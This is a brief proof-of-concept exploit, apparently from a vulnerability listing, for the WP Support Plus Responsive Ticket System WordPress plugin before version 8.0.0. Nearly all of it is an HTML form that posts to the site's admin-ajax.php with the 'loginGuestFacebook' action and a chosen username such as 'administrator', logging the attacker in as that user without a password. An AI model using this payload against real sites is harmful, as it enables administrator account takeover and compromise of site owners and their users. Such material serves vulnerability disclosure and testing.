WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation

Proof of Concept

<form method="post" action="http://example.com/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="administrator">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>